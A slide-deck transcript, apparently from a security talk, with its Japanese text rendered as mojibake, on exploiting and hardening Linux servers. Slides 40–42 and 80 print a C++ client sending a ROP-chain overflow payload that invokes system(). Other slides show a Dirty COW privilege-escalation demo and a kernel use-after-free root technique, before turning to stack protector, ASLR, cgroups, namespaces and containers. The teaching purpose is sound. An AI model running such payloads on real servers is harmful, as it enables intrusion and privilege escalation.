(gdb) disas _ZNSi6ignoreEl … 0x00007ffff788dfc5 <+309>: pop %r14 0x00007ffff788dfc7 <+311>: retq 0x7ffff788dfc5 ඪ४ϥΠϒϥϦ౳͔Βpopͯ͠retq͍ͯ͠ΔॴΛ୳ͯ͘͠Δ %r14ʹஔ͖͍ͨ஋ ͦͷޙʹ࣮ߦ͍ͨ͠ΞυϨε ελοΫʹࠨͷΑ͏ʹॻ͍ͯretq͢Δͱ %r14ʹ೚ҙͷ஋Λஔ͘͜ͱ͕Ͱ͖Δ Return Oriented Programming ૢ࡞͍ͨ͠ϨδελΛpopͯ͠retq͍ͯ͠ΔॴΛݟ͚ͭΕ͹ ೚ҙͷҾ਺Λ͚ͭͯ೚ҙͷؔ਺Λݺͼग़͢͜ͱ͕Ͱ͖Δ

Slide 40

Slide 40 text

#include #include int main() { namespace asio = boost::asio; using boost::asio::ip::tcp; asio::io_service io_service; tcp::socket socket(io_service); socket.connect( tcp::endpoint( asio::ip::address::from_string("127.0.0.1"), 20000 ) ); const std::vector< uint8_t > command{ 't', 'o', 'u', 'c', 'h', ' ', 'a', 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, }; std::vector< uint8_t > data { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xb0, 0x31, 0x63, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf2, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x54, 0x1f, 0x93, 0xf7, 0xff, 0x7f, 0x00, 0x00, 0xa0, 0xd3, 0xff, 0xff, 0xff, 0x7f, 0x00, 0x00, 0x50, 0xd3, 0xf6, 0xf6, 0xff, 0x7f, 0x00, 0x00, ࡉ޻ͨ͠σʔλΛૹΔΫϥΠΞϯτ ద౰ͳϑΝΠϧΛ࡞੒

Slide 41

Slide 41 text

0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xb0, 0x31, 0x63, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf2, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x54, 0x1f, 0x93, 0xf7, 0xff, 0x7f, 0x00, 0x00, 0xa0, 0xd3, 0xff, 0xff, 0xff, 0x7f, 0x00, 0x00, 0x50, 0xd3, 0xf6, 0xf6, 0xff, 0x7f, 0x00, 0x00, 0xc0, 0xe5, 0x00, 0xf7, 0xff, 0x7f, 0x00, 0x00, 0x90, 0x3b, 0xf6, 0xf6, 0xff, 0x7f, 0x00, 0x00 }; for( size_t i = 0u; i != 10u; ++i ) std::copy( command.begin(), command.end(), std::back_inserter( data ) ); data.push_back( 0x0d ); data.push_back( 0x0a ); boost::system::error_code error; asio::write(socket, asio::buffer(data), error); return 0; if( !error ) { asio::streambuf receive_buffer; asio::read_until(socket, receive_buffer, '\n', error); std::cout << asio::buffer_cast(receive_buffer.data()) << std::endl; } } ࡉ޻ͨ͠σʔλΛૹΔΫϥΠΞϯτ

Slide 42

Slide 42 text

tcp::socket socket(io_service); socket.connect( tcp::endpoint( asio::ip::address::from_string("127.0.0.1"), 20000 ) ); const std::vector< uint8_t > command{ 't', 'o', 'u', 'c', 'h', ' ', 'a', 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, }; std::vector< uint8_t > data { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xb0, 0x31, 0x63, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf2, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x54, 0x1f, 0x93, 0xf7, 0xff, 0x7f, 0x00, 0x00, 0xa0, 0xd3, 0xff, 0xff, 0xff, 0x7f, 0x00, 0x00, 0x50, 0xd3, 0xf6, 0xf6, 0xff, 0x7f, 0x00, 0x00, 0xc0, 0xe5, 0x00, 0xf7, 0xff, 0x7f, 0x00, 0x00, 0x90, 0x3b, 0xf6, 0xf6, 0xff, 0x7f, 0x00, 0x00 }; for( size_t i = 0u; i != 10u; ++i ) std::copy( command.begin(), command.end(), std::back_inserter( data ) ); data.push_back( 0x0d ); ࡉ޻ͨ͠σʔλΛૹΔΫϥΠΞϯτ QPQSEJͯ͠SFURͯ͠Δίʔυʹ ඈͿͨΊͷΞυϨε SEJʹ৐ͤΔ஋ ࣮ߦ͍ͨ͠ίϚϯυ system() sync() exit() γΣϧεΫϦϓτ

Slide 43

Slide 43 text

Slide 44

Slide 44 text

߈ܸऀ͕αʔό্Ͱ ೚ҙͷૢ࡞Λग़དྷͯ͠·ͬͨ

Slide 45

Slide 45 text

߈ܸऀ͕࣮ߦͨ͠shell͸ ߈ܸΛड͚ͨϓϩηεΛ࣮ߦͨ͠ϢʔβͷݖݶͰಈ͘ ߈ܸΛड͚ͨϓϩηε͕ rootͰಈ͍͍ͯͳ͔ͬͨ৔߹ ߈ܸऀ͸αʔόͷ׬શͳঠѲͷͨΊʹ ݖݶঢ֨Λߦ͏ඞཁ͕͋Δ Permission Denied

Slide 46

Slide 46 text

ݖݶঢ֨ʹ༻͍ΒΕΔ੬ऑੑͷྫ https://dirtycow.ninja/ ͜͜ʹ %*35:$08ͷτοϓϖʔδΛషΔ

Slide 47

Slide 47 text

DIRTY COW(CVE-2016-5195) mmap࣌ʹMAP_PRIVATEΛ͚ͭΔͱ ϑΝΠϧʹର͢Δॻ͖ࠐΈΛ ΦϦδφϧͷϑΝΠϧʹ ॻ͔ͳ͍Α͏ʹ͢Δ͜ͱ͕Ͱ͖Δ ॻ͖ࠐΈ ಡΈग़͠ ϓϩηε͔Β ݟͨϑΝΠϧ ΦϦδφϧͷ ϑΝΠϧ ΞυϨεۭؒ

Slide 48

Slide 48 text

DIRTY COW(CVE-2016-5195) ʮ࢑͘࢖Θͳ͍͔Βॻ͖ࠐΈͷ४උΛϝϞϦ͔ΒԼ͛ͯྑ͍ʯ ࢦఆΛߦ͏ͷͱಉ࣌ʹॻ͖ࠐΈΛߦ͏ͱ ΦϦδφϧͷϑΝΠϧʹॻ͍ͯ͠·͏ෆ۩߹ ΦϦδφϧͷϑΝΠϧʹ ॻ͖ʹ͍ͬͯ͠·͏ ϓϩηε͔Β ݟͨϑΝΠϧ ΦϦδφϧͷ ϑΝΠϧ MADV_DONTNEEDͰ ϝϞϦ͔ΒԼ͛Δ

Slide 49

Slide 49 text

DIRTY COW(CVE-2016-5195) https://github.com/kcgthb/RHEL6.x-COW/blob/master/6.7/noc0w.patch ͜ͷෆ۩߹ࣗମ͸ෳࡶͳ΋ͷͰ͸ͳ͘मਖ਼ύον͸ߦఔ ͜͜ʹ %*35:$08ͷमਖ਼ύονΛషΔ

Slide 50

Slide 50 text

DIRTY COW(CVE-2016-5195) root # echo 'abcde' >sample.txt root # ls -lha sample.txt -rw-r--r-- 1 root root 6 Mar 18 11:21 sample.txt root # logout non_root $ cat sample.txt abcde non_root $ ./dirtyc0w sample.txt ‘pwned' mmap 7f214599a000 ^C non_root $ cat sample.txt pwned non_root $ ls -lha sample.txt -rw-r--r-- 1 root root 6 3݄ 18 11:21 sample.txt ҰൠϢʔβ͕ root͔͠ॻ͚ͳ͍ϑΝΠϧΛ ॻ͖׵͑ͯ͠·ͬͨ ͜Ε͕ՄೳͳΒrootϩάΠϯͷೝূΛແ͘͢͜ͱͩͬͯग़དྷΔ

Slide 51

Slide 51 text

CVE-2017-15265 ALSA Sequencer[1]ͷϙʔτΛ࡞͙ͬͯ͢ʹഁغ͢Δ [1] ALSA Sequencer http://www.alsa-project.org/~frank/alsa-sequencer/index.html Ϣʔβۭؒ Χʔωϧۭؒ ϙʔτ͍ͩ͘͞ Ͳ͏ͧ ϙʔτͷͨΊͷ ྖҬͷ֬อ ϙʔτΛॳظԽ εϨου1 εϨου1 ϙʔτ΋͏͍͍΍ ϙʔτͷͨΊͷ ྖҬͷղ์ εϨου2 εϨου2 ͠Α͏ͱࢥͬͨΒ ແ͔ͬͨ

Slide 52

Slide 52 text

͜͜ʹ -JOVYΧʔωϧͷ "-4"4FRVFODFSͷॳظԽதͰ ίʔϧόοΫΛಡΜͰ͍ΔՕॴΛషΔ Use After Free Χʔωϧͷߏ଄ମʹ͸ଟ਺ͷίʔϧόοΫؔ਺͕ઃఆ͞Ε͍ͯΔ ղ์ࡁΈͷϝϞϦ͸ಉαΠζͷϝϞϦΛ֬อ͢Δͱ ߴ֬཰Ͱಉ͡ྖҬΛऔಘͰ͖Δ ίʔϧόοΫΛ೚ҙͷΞυϨεʹॻ͖׵͑ͯΧʔωϧʹݺ͹ͤΔ https://elixir.bootlin.com/linux/v4.15.10/source/sound/core/seq/seq_clientmgr.c#L619 ϙʔτ͸΋͏ղ์͞ΕͯΔ͚Ͳ ͜͜Ͱϙʔτʹઃఆ͞Εͨ ίʔϧόοΫΛݺΜͰΔ

Slide 53

Slide 53 text

Use After Free ͜ΕΛར༻ͯ͠ԿΛݺ͹ͤΔ͔ ͦΕ͸΋ͪΖΜ commit_creds( prepare_kernel_cred( NULL ) ); ༁ԶΛrootʹ͠Ζ ղ์ࡁΈͷྖҬ͔ΒίʔϧόοΫΛݺͿঢ়ଶʹ͑͞Ͱ͖Ε͹ ͜ͷ߈ܸ͕੒ཱ͢ΔՄೳੑ͕͋ΔͨΊ Use After FreeΛ࢖ͬͨݖݶঢ֨੬ऑੑ͸සൟʹݟ͔ͭΔ

Slide 54

Slide 54 text

Use After Free $7& $7& $7& ղ์ࡁΈͷྖҬ͔ΒίʔϧόοΫΛݺͿঢ়ଶʹ͑͞Ͱ͖Ε͹ ͜ͷ߈ܸ͕੒ཱ͢ΔՄೳੑ͕͋ΔͨΊ Use After FreeΛ࢖ͬͨݖݶঢ֨੬ऑੑ͸සൟʹݟ͔ͭΔ $7& $7& $7& $7&

Slide 55

Slide 55 text

߈ܸऀ͕αʔόΛ ׬શʹঠѲͯ͠͠·ͬͨ

Slide 56

Slide 56 text

ࠣࡉͳෆ۩߹͕ ͠͹͠͹αʔόͷ ηΩϡϦςΟΛ୆ແ͠ʹ͢Δ

Slide 57

Slide 57 text

Ұ൪ྑ͍ͷ͸ෆ۩߹͕ແ͍ࣄ͕ͩ ͦ͏͸͍ͬͯ΋ෆ۩߹͸ग़ͯ͘ΔͷͰ ෆ۩߹͸ग़Δ΋ͷͱͯ͠ ग़དྷΔ͚ͩக໋తͳ߈ܸʹ௚݁ͤ͞ͳ͍ҝͷ ରॲΛߦ͏ඞཁ͕͋Δ

Slide 58

Slide 58 text

TUBDLQSPUFDUPS f: push %rbp mov %rsp,%rbp sub $0x20,%rsp mov %edi,-0x14(%rbp) mov %esi,-0x18(%rbp) mov %fs:0x28,%rax mov %rax,-0x8(%rbp) xor %eax,%eax mov -0x14(%rbp),%edx mov -0x18(%rbp),%eax add %edx,%eax mov -0x8(%rbp),%rcx xor %fs:0x28,%rcx je 40055f callq 400400 <__stack_chk_fail@plt> leaveq retq f: push %rbp mov %rsp,%rbp mov %edi,-0x4(%rbp) mov %esi,-0x8(%rbp) mov -0x4(%rbp),%edx mov -0x8(%rbp),%eax add %edx,%eax pop %rbp retq ͋Δ࣌ ͳ͍࣌ gccͷ࠷దԽΦϓγϣϯͷ1ͭ ͳΜ͔ ૿͑ͯΔ

Slide 59

Slide 59 text

TUBDLQSPUFDUPS f: push %rbp mov %rsp,%rbp sub $0x20,%rsp mov %edi,-0x14(%rbp) mov %esi,-0x18(%rbp) mov %fs:0x28,%rax mov %rax,-0x8(%rbp) xor %eax,%eax mov -0x14(%rbp),%edx mov -0x18(%rbp),%eax add %edx,%eax mov -0x8(%rbp),%rcx xor %fs:0x28,%rcx je 40055f callq 400400 <__stack_chk_fail@plt> leaveq retq ͋ΔݻఆͷΞυϨε͔ΒಡΜͩ஋Λ ελοΫʹੵΉ ઌఔͱಉ͡ΞυϨε͔ΒಡΜͩ஋ͱ ελοΫͷ஋Λൺֱ͠ Ұக͠ͳ͔ͬͨΒabort͢Δ

Slide 60

Slide 60 text

TUBDLQSPUFDUPS ؔ਺gͷม਺ ؔ਺gͷม਺ ؔ਺gͷม਺ ؔ਺f͕ऴΘͬͨΒ໭ΔҐஔ ؔ਺fͷม਺ ؔ਺fͷม਺ ؔ਺gͷSCQ ϥϯμϜͳ஋ όοϑΝΦʔόʔϥϯͰ returnΞυϨεΛॻ͖׵͑Δʹ͸ ͜͜·Ͱॻ͖ࠐΉඞཁ͕͋Δ ؒʹڬ·͍ͬͯΔ ͜ͷ஋Λॻ͖׵͑ͯ͠·͏ͱ ϓϩάϥϜ͸ҟৗऴྃ͢Δ όοϑΝΦʔόʔϥϯΛར༻ͨ͠ ೚ҙͷίʔυͷ࣮ߦ͕ͱͯ΋೉͘͠ͳΔ

Slide 61

Slide 61 text

TUBDLQSPUFDUPS xor %eax,%eax mov -0x14(%rbp),%edx mov -0x18(%rbp),%eax add %edx,%eax mov -0x8(%rbp),%rcx xor %fs:0x28,%rcx je 40055f callq 400400 <__stack_chk_fail@plt> leaveq retq ઌఔͱಉ͡ΞυϨε͔ΒಡΜͩ஋ͱ ελοΫͷ஋Λൺֱ͠ Ұக͠ͳ͔ͬͨΒabort͢Δ ελοΫ͕ഁյ͞ΕͨޙͳͷͰ ຊདྷͷॲཧʹ໭Δ͜ͱ͸Ͱ͖ͳ͍ stack-protector͸ ߈ܸऀ͕೚ҙͷίʔυΛ࣮ߦͰ͖Δ੬ऑੑΛ ߈ܸऀ͕DoS߈ܸΛͰ͖Δ੬ऑੑʹऑΊΔ

Slide 62

Slide 62 text

͜͜ʹ 3FE)BUʹΑΔ#MVFCPSOFͷղઆΛషΔ https://access.redhat.com/security/vulnerabilities/blueborne ࣮ࡍʹTUBDLQSPUFDUPS͕໾ʹཱ͍ͬͯΔέʔε Blueborne(CVE-2017-1000251) γεςϜʹBluetoothͰ઀ଓͰ͖Δೝূ͞Ε͍ͯͳ͍Ϣʔβ͕ γεςϜΛΫϥογϡͤ͞Δࣄ͕Ͱ͖Δ ͋Δ͍͸stack protector͕༗ޮʹͳ͍ͬͯͳ͍৔߹ ೚ҙͷίʔυ͕࣮ߦ͞ΕΔՄೳੑ͕͋Δ

Slide 63

Slide 63 text

TUBDLQSPUFDUPS stack protector͸ελοΫΛগ͠༨෼ʹ࢖͍ ϝϞϦΞΫηεͱൺֱ͕༨෼ʹൃੜ͢Δ -fno-stack-protector(σϑΥϧτ) -fstack-protector(͓͢͢Ί) -fstack-protector-all stack protectorΛ࢓ֻ͚ͳ͍ όΠτҎ্ͷจࣈྻΛѻ͏ؔ਺ʹstack protectorΛ࢓ֻ͚Δ ͋ΒΏΔؔ਺ʹstack protectorΛ࢓ֻ͚Δ ࢓ֻ͚͓ͯ͘ͱ໾ʹཱͭͱ͜Ζ͚ͩʹ࢓ֻ͚͓͖͍ͯͨ

Slide 64

Slide 64 text

TUBDLQSPUFDUPS stack protector͸ ελοΫ্ͰͷϝϞϦഁյΛݕ஌͢Δ όοϑΝΦʔόʔϥϯ͕ώʔϓ্ͳͲͷ ελοΫҎ֎ͷ৔ॴͰى͜Γ ͦΕʹΑͬͯഁյ͞ΕͨΞυϨεʹδϟϯϓ͕Մೳͳ৔߹ stack protector͸߈ܸΛ๷͙ࣄ͕Ͱ͖ͳ͍

Slide 65

Slide 65 text

address space layout randomization $ cat /proc/self/maps 00400000-00407000 r-xp 00000000 08:03 35724749 /bin/cat … 00608000-00629000 rw-p 00000000 00:00 0 [heap] 7f9e54cd8000-7f9e5b63d000 r--p 00000000 08:03 78637654 /usr/lib64/locale/locale-archive 7f9e5b63d000-7f9e5b7cc000 r-xp 00000000 08:03 10430373 /lib64/libc-2.23.so … 7ffeb0a50000-7ffeb0a72000 rw-p 00000000 00:00 0 [stack] 7ffeb0b87000-7ffeb0b89000 r--p 00000000 00:00 0 [vvar] 7ffeb0b89000-7ffeb0b8b000 r-xp 00000000 00:00 0 [vdso] ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall] $ cat /proc/self/maps 00400000-00407000 r-xp 00000000 08:03 35724749 /bin/cat … 00608000-00629000 rw-p 00000000 00:00 0 [heap] 7f5e24988000-7f5e2b2ed000 r--p 00000000 08:03 78637654 /usr/lib64/locale/locale-archive 7f5e2b2ed000-7f5e2b47c000 r-xp 00000000 08:03 10430373 /lib64/libc-2.23.so … 7fffe276e000-7fffe2790000 rw-p 00000000 00:00 0 [stack] 7fffe27c2000-7fffe27c4000 r--p 00000000 00:00 0 [vvar] 7fffe27c4000-7fffe27c6000 r-xp 00000000 00:00 0 [vdso] ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall] ϓϩηεΛىಈ͢ΔͨͼʹϝϞϦϨΠΞ΢τΛม͑Δ 1ճ໨ 2ճ໨

Slide 66

Slide 66 text

Slide 67

Slide 67 text

Slide 68

Slide 68 text

$ gdb -q ./tiny_server Reading symbols from ./tiny_server...done. (gdb) set disable-randomization off (gdb) run Starting program: /home/fadis/tiny_server_test/tiny_server [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib64/libthread_db.so.1". Program received signal SIGSEGV, Segmentation fault. 0x00007ffff7931f54 in ?? () (gdb) backtrace #0 0x00007ffff7931f54 in ?? () #1 0x00007fffffffd3a0 in ?? () #2 0x00007ffff6f6d350 in ?? () #3 0x00007ffff700e5c0 in ?? () #4 0x00007ffff6f63b90 in ?? () #5 0x0061206863756f74 in ?? () #6 0x0000000000000000 in ?? () (gdb) p &system $1 = ( *) 0x7f51c76cd350 (gdb) disas 0x7ffff7931f54 No function contains specified address. ઌఔγΣϧͷ࣮ߦʹ੒ޭͨ͠ྫΛASLR༗ΓͰߦͳͬͨ৔߹

Slide 69

Slide 69 text

Slide 70

Slide 70 text

Slide 71

Slide 71 text

Slide 72

Slide 72 text

LinuxͷίϯςφΛ׆༻ͤΑ

Slide 73

Slide 73 text

਌ϓϩηεͱࢠϓϩηε ϓϩηεத͔ΒผͷϓϩηεΛ্ཱͪ͛Δͱ ͦͷϓϩηε͸ݩͷϓϩηεͷࢠʹͳΔ ϓϩηε /bin/ls execl("/bin/ls","/bin/ls",nullptr ); ىಈ ਌ϓϩηε ࢠϓϩηε

Slide 74

Slide 74 text

init!"!5*[agetty] #!busybox #!login!!!bash!!!top #!sshd!"!sshd!!!sshd!!!bash!!!pstree $ %!sshd!!!sshd!!!bash!!!vim %!udevd γεςϜىಈ࣌ʹ࣮ߦ͞ΕΔ initҎ֎ͷશͯͷϓϩηε͸ init͔ΒḷΕΔ਌ࢠؔ܎ͷͲ͔͜ʹͿΒԼ͕͍ͬͯΔ initͷࢠͷ sshd͔Βىಈ͞Εͨ bash͔Βىಈ͞Εͨ vim ਌ϓϩηεͱࢠϓϩηε

Slide 75

Slide 75 text

init!"!5*[agetty] #!busybox #!login!!!bash!!!top #!sshd!"!sshd!!!sshd!!!bash!!!pstree $ %!sshd!!!sshd!!!bash!!!vim %!udevd ࢦఆͨ͠ϓϩηεͱ͔ͦ͜Βੜ·Εͨࢠϓϩηεʹ γεςϜͷϦιʔεͷ࢖༻ʹؔ͢Δ੍ݶΛઃఆ͢Δ cgroups ྫ: ͜ͷൣғͷϓϩηε͸ 1൪໨ͷCPU͔͠ ࢖ͬͯ͸͍͚ͳ͍ (cpuset cgroup)

Slide 76

Slide 76 text

ϒϩοΫI/O cgroup ࢦఆͨ͠ϓϩηεάϧʔϓ͔Βͷ ϒϩοΫσόΠε΁ͷI/OΛ੍ݶ͢Δ ͜ͷάϧʔϓ಺ͷϓϩηε͸ ͲΜͳʹετϨʔδʹ༨ྗ͕͋ͬͯ΋ ࢦఆ͞ΕͨҎ্ͷI/OଳҬΛ࢖͑ͳ͍ ߹ܭ.CQT੍ݶ

Slide 77

Slide 77 text

ະ࢖༻ CPU cgroup ࢦఆͨ͠ϓϩηεάϧʔϓ͔Βͷ CPUͷ࢖༻཰Λ੍ݶ͢Δ ͜ͷάϧʔϓ಺ͷϓϩηε͸ ͲΜͳʹCPUʹ༨ྗ͕͋ͬͯ΋ ࢦఆ͞ΕͨҎ্ʹ CPUΛ࢖͏ࣄ͸Ͱ͖ͳ͍ ߹ܭ੍ݶ

Slide 78

Slide 78 text

cgroups ଞʹ΋ϝϞϦͷ࢖༻཰΍HugeTLBͷׂΓ౰ͯͷ੍ݶͳͲ͕ උΘ͍ͬͯΔ͕ ੬ऑੑ߈ܸʹର͢Δඋ͑ͱͯ͠஫໨͢΂͖ͳͷ͸ pids devices ͱ

Slide 79

Slide 79 text

PIDs cgroups ࢦఆͨ͠ϓϩηεάϧʔϓ಺Ͱ ࡞੒Ͱ͖Δϓϩηεͷ࠷େ਺Λ੍ݶ͢Δ ϓϩηε /bin/ls execl("/bin/ls","/bin/ls",nullptr ); ىಈ άϧʔϓ಺ͷϓϩηε਺͕࠷େʹୡ͍ͯ͠Δҝ ࢠϓϩηεͷੜ੒Λڋ൱

Slide 80

Slide 80 text

tcp::socket socket(io_service); socket.connect( tcp::endpoint( asio::ip::address::from_string("127.0.0.1"), 20000 ) ); const std::vector< uint8_t > command{ 't', 'o', 'u', 'c', 'h', ' ', 'a', 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, }; std::vector< uint8_t > data { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xb0, 0x31, 0x63, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf2, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x54, 0x1f, 0x93, 0xf7, 0xff, 0x7f, 0x00, 0x00, 0xa0, 0xd3, 0xff, 0xff, 0xff, 0x7f, 0x00, 0x00, 0x50, 0xd3, 0xf6, 0xf6, 0xff, 0x7f, 0x00, 0x00, 0xc0, 0xe5, 0x00, 0xf7, 0xff, 0x7f, 0x00, 0x00, 0x90, 0x3b, 0xf6, 0xf6, 0xff, 0x7f, 0x00, 0x00 }; for( size_t i = 0u; i != 10u; ++i ) std::copy( command.begin(), command.end(), std::back_inserter( data ) ); data.push_back( 0x0d ); ࡉ޻ͨ͠σʔλΛૹΔΫϥΠΞϯτ system() γΣϧεΫϦϓτ ߈ܸऀ͕όοϑΝΦʔόʔϥϯ͔Β ೚ҙͷॲཧͷ࣮ߦʹܨ͛Δ࠷΋खܰͳํ๏system()͸ தͰࢠϓϩηεΛੜ੒͍ͯ͠Δҝ ࢠϓϩηε͕ੜ੒ग़དྷͳ͍ͱ߈ܸ͕େม໘౗ʹͳΔ

Slide 81

Slide 81 text

$ g++ sample.c -o sample $ ./sample bin dev home lib32 lost+found mnt proc run sys usr boot etc lib lib64 media opt root sbin tmp var ੒ޭ $ cgcreate -g pids:test $ cgset -r pids.max=1 test $ cgexec -g pids:test ./sample ࣦഊ $ #include #include int main() { if( system( "ls /" ) == 0 ) std::cout << "੒ޭ" << std::endl; else std::cout << "ࣦഊ" << std::endl; } system()͕ػೳ͢ΔͱϧʔτσΟϨΫτϦͷ಺༰Λදࣔ͢ΔϓϩάϥϜ ͬ͢ͽΜͰಈ͔͢ͱදࣔ͞ΕΔ testͱ͍͏໊લͷpidsʹؔ͢Δ৽͍͠cgroupΛ࡞Δ test಺ͷ࠷େϓϩηε਺Λ1ʹ͢Δ cgroupΛtestʹͯ͠ಈ͔͢ͱ system()ʹࣦഊ͢Δ

Slide 82

Slide 82 text

ͨͩ͜͠ͷ੍ݶΛ͔͚Δͱ αʔόͷຊདྷͷ༻్Ͱ΋ࢠϓϩηε͕࡞Εͳ͘ͳΔ ͜ͷख͕࢖͑Δͷ͸ ໌Β͔ʹࢠϓϩηεΛඞཁͱ͠ͳ͍αʔϏεʹݶΒΕΔ

Slide 83

Slide 83 text

devices cgroups ࢦఆͨ͠ϓϩηεάϧʔϓ಺͔Β ৮ͬͯྑ͍σόΠεΛ੍ݶ͢Δ αʔό γΣϧ ىಈ ࠓ߈ܸऀ͸ҰൠϢʔβͰͷγΣϧͷىಈʹ੒ޭ͠ α΢ϯυσόΠεͷ੬ऑੑΛಥ͍ͯ rootΛऔΖ͏ͱ͍ͯ͠Δ CVE-2017-15265 ߈ܸऀ ੬ऑͳ Linux

Slide 84

Slide 84 text

devices cgroups ࢦఆͨ͠ϓϩηεάϧʔϓ಺͔Β ৮ͬͯྑ͍σόΠεΛ੍ݶ͢Δ αʔό γΣϧ ىಈ CVE-2017-15265 ߈ܸऀ ͜ͷάϧʔϓʹ͸α΢ϯυσόΠε͸͍Βͳ͍ഺͳͷͰ α΢ϯυσόΠεΛ৮ͬͯ͸͍͚ͳ͍ ੬ऑͳ Linux ͜͏͍͏੍ݶΛ͋Β͔͡Ί͔͚Δࣄ͕Ͱ͖Δ

Slide 85

Slide 85 text

໊લۭؒ ࢦఆͨ͠ϓϩηεͱ͔ͦ͜Βੜ·Εͨࢠϓϩηε͔Β Կ͕ݟ͑Δ͔Λ੍ݶ͢Δ init!"!5*[agetty] #!busybox #!login!!!bash!!!top #!sshd!"!sshd!!!sshd!!!bash!!!pstree $ %!sshd!!!sshd!!!bash!!!vim %!udevd ྫ: ͜ͷൣғͷϓϩηεʹ͸ ֎ͷϓϩηε͕ݟ͑ͳ͍ (PID໊લۭؒ) bash!!!vim ͜ͷ໊લۭؒʹͱͬͯͷPID1 ຊ౰ͷPID1

Slide 86

Slide 86 text

Ϛ΢ϯτ໊લۭؒ Ͳ͜ʹԿ͕Ϛ΢ϯτ͞Ε͍ͯΔ͔ͷ৘ใΛ ਌ϓϩηε͔Β෼཭͢Δ ਌ϓϩηε ࢠϓϩηε IPHF GVHB IPHF GVHB ਌ϓϩηε͔Βݟ͑Δ/hoge/fuga ࢠϓϩηε͔Βݟ͑Δ/hoge/fuga chroot΍umountͱ૊Έ߹ΘͤΔࣄͰ ࢠϓϩηε͔Β਌ϓϩηεͷσΟϨΫτϦπϦʔͷଘࡏΛ ݟ͑ͳ͘͢Δࣄ͕Ͱ͖Δ

Slide 87

Slide 87 text

Ϛ΢ϯτ໊લۭؒ IPHF GVHB ߈ܸʹ࢖͑ͦ͏ͳ΋Μ͕ ͳΜ΋ͳ͍… αʔόΛಈ͔͢ͷʹඞཁͳ࠷খݶͷϑΝΠϧ͚͕ͩݟ͑Δ σΟϨΫτϦπϦʔΛ/ͱͯ͠αʔόΛಈ͔͢ࣄͰ ߈ܸऀͷબ୒ࢶΛڱΊΔࣄ͕Ͱ͖Δ ߈ܸऀ

Slide 88

Slide 88 text

UID໊લۭؒ ಛఆͷ໊લۭؒʹଐ͢ϓϩηεͷΈʹ ௨༻͢ΔrootΛ࡞Γग़͢ ߈ܸऀ Զ͸ࠓ͔Β rootͩ!

Slide 89

Slide 89 text

UID໊લۭؒ ಛఆͷ໊લۭؒʹଐ͢ϓϩηεʹͷΈ ௨༻͢ΔrootΛ࡞Γग़͢ ߈ܸऀ rootͷ໋ྩͩͧ! ͋ͳͨ͸ͦͷ○ͷதͰͷΈ rootͳͷͰμϝͰ͢

Slide 90

Slide 90 text

໊લۭؒ ͜ͷଞʹ΋ ωοτϫʔΫͷઃఆ cgroupͷઃఆ ઀ଓͰ͖Δϓϩηεؒ௨৴ ։͍͍ͯΔϑΝΠϧσΟεΫϦϓλ ͳͲ৭Μͳ΋ͷΛ ਌ϓϩηεͱࢠϓϩηεͰผʹ͢Δࣄ͕Ͱ͖Δ

Slide 91

Slide 91 text

طʹ ؾ͍͍ͮͯΔ͔΋͠Εͳ͍͕

Slide 92

Slide 92 text

cgroupͱ໊લۭؒΛ׆༻ͯ͠ ਌ϓϩηεͱࢠϓϩηεʹݟ͑Δ෺ Ͱ͖ΔࣄΛ׬શʹ෼཭ͨ͠ͷ͕ LinuxͷίϯςφͰ͋Δ

Slide 93

Slide 93 text

਌ϓϩηεͱࢠϓϩηεͷ׬શͳ෼཭ͷઃఆΛ ؆୯ʹͰ͖ΔΑ͏ʹ͍ͯ͠Δͷ͕ ྲྀߦΓͷDockerͰ͋Δ https://www.docker.com/

Slide 94

Slide 94 text

ίϯςφͱϚΠΫϩαʔϏε cgroupͱ໊લۭؒ͸ϓϩηε୯ҐͰઃఆ͞ΕΔ 1ͭͷڊେͳϓϩηεͰ αʔϏεΛఏڙ͢ΔΑΓ ୯७ͳػೳΛఏڙ͢ΔαʔόΛ ωοτϫʔΫͰܨ͍Ͱ େ͖ͳαʔϏεΛ࡞Δํ͕ ݸʑͷϓϩηεʹ༩͑Δ ݖݶΛΑΓখ͘͢͞Δࣄ͕Ͱ͖Δ

Slide 95

Slide 95 text

